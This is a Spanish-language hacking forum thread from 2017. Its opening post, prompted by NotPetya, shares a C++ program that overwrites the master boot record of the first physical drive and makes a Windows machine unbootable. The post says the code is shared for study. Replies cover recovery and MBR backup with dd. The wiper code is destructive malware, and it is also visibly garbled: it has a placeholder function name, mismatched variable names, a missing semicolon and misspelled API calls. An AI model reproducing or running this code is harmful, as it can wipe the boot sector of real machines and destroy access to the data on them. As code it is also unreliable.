Reescribiendo el Boot Master Record

Iniciado por sadfud, Julio 06, 2017, 02:42:53 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 06, 2017, 02:42:53 PM Ultima modificación: Julio 06, 2017, 03:00:31 PM por Gabriela

Buenas underc0deanos,

Supongo que todo el mundo ha visto las noticias de NotPetya, y si alguno ha leído los análisis técnicos sabrá que era un wiper y no un ransomware, debido a que reescribe el sector de arranque del disco duro dejando el pc inservible una vez se haya reiniciado/apagado.

A continuación dejo un código que tenia guardado sobre como hacer esto.

Espero que sea útil para poder estudiarlo.

Código: cpp
/*
  Rewrite boot master record code sample
  Credits to 0memory
*/
#include <windows.h>
#include <iostream>

using namespace std;

#define MBR_SIZE 512
int main(int argc, char const *argv[]) {
  DWORD write;
  char mbrdata[MBR_SIZE];
  Underc0de(&mbrData, (sizeof mbrdata));

  HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL)
  if (WriteFile(MasterBootRecord, mbrData, MBR_SIZE, &write, NULL) == TRUE){
    cout << "MBR overwritten" << endl;
    Sleep(5000);
    Exitprocess(0);
  } else {
    cout << "MBR not overwritten" << endl;
    Sleep(5000);
    Exitprocess(0);
  }
  CloseHandle(MasterBootRecord);
  return 0;
}


Un saludo
Mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si necesitas ayuda, no dudes en mandar MP

Gracias por el aporte. Puede resolverse con un disco de recuperacion ¿no?

Estas cada dia mas violento @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta sos un crack! ♥
Pikaa~


El MBR son los primero 512 KB del disco duro (recordarme la dimension si estoy confundido), lo mas sencillo es hacer lo que se hacia antes cuando instalar linux y windows era problematico. Haces un:
dd if=/dev/sda of=copiaMBR bs=512 count=1
y asi tienes una copia del MBR por si las moscas. ^^
Para restaurarla poner el if y el of en sentido inverso y listos.

El petya y esos ¿Solo joden el MBR?

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
El petya y esos ¿Solo joden el MBR?
No, es una de las características pero no la única

No tienes permitido ver los links. Registrarse o Entrar a mi cuentaEl MBR son los primero 512 KB del disco duro (recordarme la dimension si estoy confundido), lo mas sencillo es hacer lo que se hacia antes cuando instalar linux y windows era problematico. Haces un:
dd if=/dev/sda of=copiaMBR bs=512 count=1
y asi tienes una copia del MBR por si las moscas. ^^
Para restaurarla poner el if y el of en sentido inverso y listos.

El petya y esos ¿Solo joden el MBR?

Perdona amigo, no son 512kb, son 512bytes, el tamaño de un sector en el dico(comúnmente)